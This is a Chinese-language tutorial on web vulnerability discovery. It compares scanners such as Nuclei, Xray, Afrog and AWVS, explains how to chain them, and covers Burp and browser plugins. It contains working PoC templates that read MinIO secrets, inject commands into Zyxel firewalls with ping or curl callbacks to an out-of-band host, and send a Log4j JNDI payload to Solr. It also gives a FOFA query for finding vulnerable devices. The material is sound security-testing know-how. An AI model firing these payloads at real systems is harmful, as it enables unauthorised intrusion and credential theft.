漏洞发现
漏洞发现
一、漏洞扫描工具
1.1 工具分类与对比
漏洞扫描工具按工作原理分为两大类:
| 类型 | 原理 | 代表工具 | 适用场景 |
|---|---|---|---|
| 特征类(PoC 驱动) | 基于已知漏洞的 PoC 模板对目标发包,匹配响应判断是否存在漏洞 | Nuclei、Afrog、Goby、Yakit | 已知组件/框架漏洞快速验证、批量资产扫描 |
| 综合类(爬虫 + PoC) | 先通过爬虫获取目标所有页面和参数,再对每个请求进行常规漏洞检测 | AWVS、Xray | 对单个站点进行全面漏洞评估 |
AWVS vs Xray 核心差异:
| 对比维度 | AWVS | Xray |
|---|---|---|
| 爬虫能力 | 强,能处理复杂 JS 渲染页面 | 弱,依赖外部流量输入 |
| PoC 覆盖 | 国内漏洞覆盖较少 | 国内漏洞覆盖较好 |
| 扫描方式 | 主动扫描为主 | 被动扫描为主,也支持主动 |
| 最佳实践 | 作为流量来源驱动 Xray | 作为漏洞检测引擎接收流量 |
1.2 特征类工具
Nuclei
官网:https://nuclei.projectdiscovery.io/
项目:https://github.com/projectdiscovery/nuclei
PoC 模板库:
- 官方模板:https://github.com/projectdiscovery/nuclei-templates
- 第三方扩展:https://github.com/ExpLangcn/NucleiTP
常用命令:
# 扫描单个目标
nuclei -target https://example.com
# 批量扫描 URL 列表
nuclei -l urls.txt
# 使用指定 PoC 模板扫描
nuclei -t ./test/test.yaml -l urls.txt
# 使用指定目录下所有 PoC 扫描
nuclei -t ./test/ -l urls.txt
# 推荐:批量扫描并输出结果
nuclei -l urls.txt -t test.yaml -o result.txt
Afrog
项目:https://github.com/zan8in/afrog
简介:性能卓越、快速稳定、PoC 可定制的漏洞扫描工具,涵盖 CVE、CNVD、默认口令、信息泄露、未授权访问、任意文件读取、命令执行等多种漏洞类型。
常用命令:
# 扫描单个目标,输出 HTML 报告
afrog -t http://example.com -o result.html
# 批量扫描,输出 HTML 报告
afrog -T urls.txt -o result.html
# 使用指定 PoC 扫描
afrog -t http://example.com -P ./poc/poc-test.yaml -o result.html
# 使用指定目录下所有 PoC 扫描
afrog -t http://example.com -P ./poc/ -o result.html
# 调试时加入代理便于分析数据包
afrog -t http://example.com -P ./poc/test.yaml --proxy http://127.0.0.1:8080
Goby
GUI 界面,操作简单。内置大量资产识别规则和漏洞 PoC,适合快速对目标进行综合性安全评估,也支持自定义 PoC 扩展。
Yakit
GUI 界面,操作简单。兼具特征类和综合类扫描能力,同时集成了流量分析、反序列化利用、Java 安全测试等功能,是国内较全面的一体化安全测试平台。
1.3 综合类工具
AWVS
定位:主动扫描为主,爬虫能力强,适合作为流量生产方驱动其他工具。
适用场景:
- 单点对某站点进行全面安全评估
- 与 Xray 联动,将爬虫流量交给 Xray 进行二次漏洞检测
- 联动 APP 抓包进行安全评估(如安卓模拟器中的 APP 应用)
Xray
定位:被动扫描为主,PoC 国内覆盖好,需要配合流量来源使用。
扫描命令:
# 主动扫描(自带基础爬虫)
.\xray_windows_amd64.exe webscan --basic-crawler http://目标地址/ --html-output result.html
# 被动扫描(监听代理端口,接收外部流量)
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output result.html
# 调试模式(开发或调试 PoC 时使用)
.\xray --log-level debug webscan --poc .\test.yaml --url https://目标地址
1.4 联动扫描方案
联动的核心思路:用爬虫能力强的工具产生流量,用 PoC 能力强的工具检测漏洞,解决单一工具的短板。
方案一:Burp + Xray(手工流量 → 漏洞检测)
适用场景:手工测试时,将 Burp 拦截的流量同步给 Xray 进行自动化漏洞检测,适合精准测试某个功能点。
用户浏览器 → Burp(拦截/转发,同时转发到 Xray)→ 目标服务器
↓
Xray 被动扫描
配置步骤:
- Xray 启动被动扫描模式,监听本地端口(如 7777)
- Burp 上游代理设置为 Xray 监听地址(127.0.0.1:7777)
- 正常使用 Burp 测试,流量自动流向 Xray
方案二:AWVS + Xray(爬虫流量 → 漏洞检测)
适用场景:利用 AWVS 的强爬虫能力覆盖所有页面,同时将流量交给 Xray 进行更全面的国内漏洞检测。
AWVS 爬虫 → 代理转发 → Xray 被动扫描 → 目标服务器
配置步骤:
- Xray 启动被动扫描模式,监听本地端口
- AWVS 扫描任务中配置代理为 Xray 监听地址
- AWVS 爬取目标的同时,Xray 对所有流量进行漏洞检测
方案三:AWVS + Burp + Xray(三层串联,最大化覆盖)
适用场景:对重要目标进行最全面的扫描,三个工具各自发挥优势,流量逐层经过每个工具的检测引擎。
AWVS 爬虫 → Burp(中转,自身扫描一次)→ Xray 被动扫描 → 目标服务器
配置步骤:
- Xray 启动被动扫描,监听端口 A
- Burp 上游代理设置为 Xray 端口 A,同时开启自身扫描
- AWVS 代理设置为 Burp 监听端口,启动扫描
- 流量依次经过 AWVS → Burp → Xray,三层各扫一次
注:三层联动配置较复杂,建议在重点目标或 HW/SRC 场景下使用。日常测试用方案一或方案二即可。
二、PoC 开发
2.1 Nuclei PoC 开发
开发环境
- 编辑器:VS Code + YAML 插件
- 官方文档:https://docs.nuclei.sh/template-guide/introduction
- 参考教程:
- BurpSuite 辅助生成插件:nuclei-burp-plugin
BurpSuite 插件辅助生成流程:
- 在 BurpSuite 中安装 nuclei-burp-plugin
- 配置插件中的模板保存路径
- 在 Burp 中选中目标数据包,右键生成 Nuclei 模板
- 在生成的模板基础上修改匹配规则后测试提交
YAML 语法基础
YAML 是 Nuclei 模板的基础语法,核心规则:
- 大小写敏感
- 使用缩进表示层级关系
- 缩进只能用空格,不能用 Tab
- 同级元素左侧对齐即可,空格数不限
Nuclei 模板结构
| 部分 | 字段 | 说明 |
|---|---|---|
| 编号 | id |
模板唯一标识,不能含空格 |
| 信息 | info |
name、author、severity、description、tags、reference 等 |
| 请求 | http / tcp / file |
定义发送的请求内容 |
| 匹配 | matchers |
定义如何判断漏洞存在(响应体、状态码、交互平台等) |
| 提取 | extractors |
从响应中提取信息(可选) |
开发流程:
- 套用模板框架
- 填写 id 和 info 信息
- 编写请求部分(method、path、headers、body)
- 确定匹配模式(有回显用 word/regex 匹配,无回显用 interactsh 带外)
- 按需添加 extractors 提取关键信息
- 本地测试验证
实例
案例一:有回显 - 匹配响应体关键字(CVE-2023-28432)
漏洞:MinIO 集群模式信息泄露,POST 请求后响应体中包含环境变量明文。
id: CVE-2023-28432
info:
name: MinIO 集群模式信息泄露漏洞
author: xiaodisec
severity: high
description: RELEASE.2023-03-20T20-16-18Z 版本前,集群模式下攻击者可通过 POST 请求获取所有环境变量,包含 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD。
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
tags: minio,cve,exposure
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
part: body
words:
- '"MINIO_ROOT_PASSWORD":'
- '"MINIO_ROOT_USER":'
- '"MinioEnv":'
condition: and
案例二:无回显 RCE - 使用 interactsh 带外检测(CVE-2022-30525)
漏洞:Zyxel 防火墙远程命令注入,命令执行无回显,通过 DNS 带外验证。
资产发现(FOFA):title=="USG FLEX 50 (USG20-VPN)"
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 影响支持 ZTP 的 Zyxel 防火墙(ATP/VPN/USG FLEX 系列),未授权攻击者可以 nobody 用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel,cve,rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{varname}}","data":"hi"}
payloads:
varname:
- ";ping -c 3 {{interactsh-url}};" # interactsh 类似 dnslog,用于无回显带外验证
attack: pitchfork
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
批量扫描命令:
nuclei -t CVE-2022-30525.yaml -l targets.txt -o result.txt
2.2 Xray PoC 开发
开发环境与参考
- 官方文档:https://poc.xray.cool/
- 使用指南:https://docs.xray.cool/#/guide/README
- 参考文章:
调试技巧:在 config.yaml 中配置代理,启动时通过 Burp 观察 Xray 实际发出的数据包(需安装 Burp 证书)。
调试命令:
.\xray --log-level debug webscan --poc .\test.yaml --url https://目标地址
Xray 模板结构
| 部分 | 字段 | 说明 |
|---|---|---|
| 名称 | name |
PoC 名称,如 poc-yaml-tongda-oa-rce |
| 脚本 | rules |
定义请求内容和匹配/提取规则 |
| 信息 | detail |
作者、参考链接等附加信息 |
rules 中各字段说明:
| 字段 | 类型 | 说明 |
|---|---|---|
method |
string | 请求方法 |
path |
string | 请求的完整路径,包含 querystring |
headers |
map | 自定义请求头,会覆盖原始数据包中的对应头 |
body |
string | 请求体 |
follow_redirects |
bool | 是否跟随 30x 跳转 |
expression |
string | 判断该条 rule 的结果(真/假) |
search |
string | 从响应包中提取信息 |
实例
案例一:有回显 - 匹配响应体(CVE-2023-28432)
name: poc-yaml-CVE-2023-28432
transport: http
rules:
r1:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status == 200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r1()
detail:
author: xiaodisec
links:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
案例二:无回显 RCE - 写死 DNSLog 地址(CVE-2022-30525)
适用于临时测试,直接将 DNSLog 地址硬编码进 payload,观察平台是否收到 DNS 请求。
name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 替换为你的dnslog地址;","data":"hi"}'
headers:
Content-Type: application/json
expression: response.status == 200
expression: r0()
detail:
author: xiaodisec
links:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
案例三:无回显 RCE - 反连平台自动验证(CVE-2022-30525)
使用 Xray 内置的反连平台(newReverse()),自动生成唯一 URL 并等待目标回调,无需手动查看 DNSLog。
前提条件:
- 有域名:在
config.yaml中配置好反连平台域名 - 无域名:可修改 hosts 文件指向,但 Xray 会在域名后随机拼接二级域名,hosts 无法覆盖,实际无法验证是否成功,建议有域名时使用此方案
name: poc-yaml-CVE-2022-30525
manual: true
set:
reverse: newReverse()
reverseURL: reverse.url
reverseDomain: reverse.domain
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'
headers:
Content-Type: application/json
expression: reverse.wait(5) # 等待 5 秒,若反连平台收到请求则判断漏洞存在
expression: r0()
detail:
author: xiaodisec
links:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
2.3 Afrog PoC 开发
开发环境与参考
- 官方 Wiki:https://github.com/zan8in/afrog/wiki
- 调试技巧:执行时加入
--proxy参数,通过代理观察实际数据包 - 指定 PoC 测试:
afrog -t https://目标地址 -P ./poc/test.yaml
Afrog 模板结构
Afrog 的模板语法融合了 Nuclei 和 Xray 两者的风格:
| 部分 | 字段 | 对应关系 |
|---|---|---|
| 编号与信息 | id、info |
类似 Nuclei |
| 变量定义 | set |
类似 Xray |
| 规则脚本 | rules |
类似 Xray |
| 执行判断 | expression |
类似 Xray |
实例
案例一:有回显 - 匹配响应体(CVE-2023-28432)
id: CVE-2023-28432
info:
name: MinIO 集群模式信息泄露漏洞
author: xiaodisec
severity: critical
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()
测试命令:
afrog -t https://目标地址 -P minio.yaml -o result.html
案例二:无回显 RCE - 写死 DNSLog 地址(CVE-2022-30525)
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: critical
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 替换为你的dnslog地址;","data":"hi"}'
headers:
Content-Type: application/json
expression: response.status == 200
expression: r0()
案例三:无回显 RCE - 使用 Afrog 内置反连平台(CVE-2022-30525)
前提:在 afrog-config.yaml 中配置好 ceye 平台的对应信息。
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: critical
set:
reverse: newReverse()
reverseURL: reverse.url
reverseDomain: reverse.domain
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'
headers:
Content-Type: application/json
expression: reverse.wait(100) # 等待 100 秒内是否收到反连请求
expression: r0()
案例四:无回显 JNDI 注入(CVE-2021-44228 / Log4j2)
前提:
- 启动 JNDI 监听服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
- 在
afrog-config.yaml中配置 JNDI 对应信息
id: solr-log4j-rce
info:
name: Apache Solr Log4j 远程代码执行漏洞
author: xiaodisec
severity: critical
verified: true
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
expression: reverse.jndi(5) # 等待 5 秒内是否收到 JNDI 回调
expression: r0()
测试命令:
afrog -t http://目标地址:8983 -P log4j.yaml
2.4 三款工具 PoC 开发横向对比
| 对比维度 | Nuclei | Xray | Afrog |
|---|---|---|---|
| 模板语法 | 纯 YAML,字段固定 | YAML,表达式语言更灵活 | 融合 Nuclei + Xray 风格 |
| 有回显匹配 | matchers word/regex |
expression contains |
expression bcontains |
| 无回显带外 | 内置 interactsh,自动化程度高 |
newReverse(),需配置域名 |
newReverse() / ceye,需配置 |
| JNDI 支持 | 不直接支持 | 不直接支持 | 内置 newJNDI() |
| 调试方式 | 命令行参数 -debug |
config.yaml 配置代理 |
--proxy 参数 |
| 模板生成辅助 | 有 Burp 插件辅助生成 | 无 | 无 |
三、插件武装
3.1 BurpSuite 插件
漏洞检测类
| 插件 | 扫描方式 | 简介 | 地址 |
|---|---|---|---|
| Fiora | 主动 | 为 Nuclei PoC 提供图形界面,支持快速搜索和一键运行,适合在 Burp 中直接调用 Nuclei 模板扫描 | https://github.com/bit4woo/Fiora |
| TsojanScan | 主动 + 被动 | 集成常见漏洞探测规则,检测精准度较高,支持主被动两种模式 | https://github.com/Tsojan/TsojanScan |
| RouteVulScan | 被动 | 递归式检测脆弱路径,专注信息泄露类漏洞(备份文件、敏感目录等) | https://github.com/F6JO/RouteVulScan |
选择建议:三个插件可同时启用,互相补充。Fiora 负责已知 CVE 快速验证,TsojanScan 负责常规漏洞检测,RouteVulScan 负责路径信息泄露的被动兜底。
分析辅助类
| 插件 | 简介 | 地址 |
|---|---|---|
| HaE | 通过自定义正则对请求/响应报文进行高亮标记和敏感信息提取(AK/SK、Token、手机号、身份证等),防止人工分析时遗漏 | https://github.com/gh0stkey/HaE |
| knife | 右键菜单增强,快速定位数据包、调用外部工具,提升操作效率 | https://github.com/bit4woo/knife |
| domain_hunter_pro | 从流量中自动提取域名和 IP,支持数据筛选、接口调用和资产信息收集,适合测试前期资产梳理 | https://github.com/bit4woo/domain_hunter_pro |
| burp_nu_te_gen | Nuclei 模板辅助生成插件,在 Burp 中直接将数据包转换为 Nuclei PoC 模板框架 | https://github.com/ffffffff0x/burp_nu_te_gen |
注:burp_nu_te_gen 与官方 nuclei-burp-plugin 功能类似,二选一即可;HaE 规则库可从 此处 导入,也可自定义正则扩展。
推荐加载顺序
建议按以下顺序加载插件,兼顾性能与覆盖面:
HaE(全程信息提取)
→ knife(操作增强)
→ domain_hunter_pro(资产收集)
→ TsojanScan(被动漏洞检测)
→ RouteVulScan(路径漏洞被动检测)
→ Fiora(主动 CVE 验证,按需启用)
→ burp_nu_te_gen(PoC 生成,按需启用)
3.2 浏览器插件
参考文章:
- https://mp.weixin.qq.com/s/5RcG2O5_WGDD7b0b1sGKJA
- https://mp.weixin.qq.com/s/KtmgH9djcHZs-kdEZK9fvQ
- https://mp.weixin.qq.com/s/neOK5kHJyoJR6LS5yx2QGQ
| 插件 | 用途分类 | 功能说明 |
|---|---|---|
| Wappalyzer | 信息收集 | 识别网站技术栈(框架、语言、服务器、CDN 等) |
| FindSomething | 信息收集 | 从页面源码和 JS 文件中提取 URL、IP、证件号、手机号、邮箱等敏感数据 |
| SuperSearchPlus | 信息收集 + 查询 | 集成多平台搜索入口,快速发起情报查询 |
| Penetration Testing Kit | 信息收集 + 漏洞探测 | 综合信息收集工具,支持历史 CVE 探测 |
| 情报社区 | 情报辅助 | 对当前页面 IP/域名进行威胁情报快速查询 |
| Heimdallr | 安全防护 | 蜜罐识别,访问页面时自动检测蜜罐特征,避免踩坑 |
| HackBar | 渗透辅助 | 快速构造和修改 HTTP 请求,支持常见编解码和 payload 注入 |
| Hack-Tools | 渗透辅助 | 常用 payload 快捷生成(反弹 Shell、编解码、哈希计算等) |
使用建议:
- 测试前期:优先开启 Wappalyzer + FindSomething + SuperSearchPlus,快速完成指纹识别和信息收集
- 测试过程中:保持 Heimdallr + 情报社区常驻,防止误入蜜罐,随时查询可疑 IP
- 漏洞利用阶段:按需使用 HackBar + Hack-Tools 辅助构造 payload

浙公网安备 33010602011771号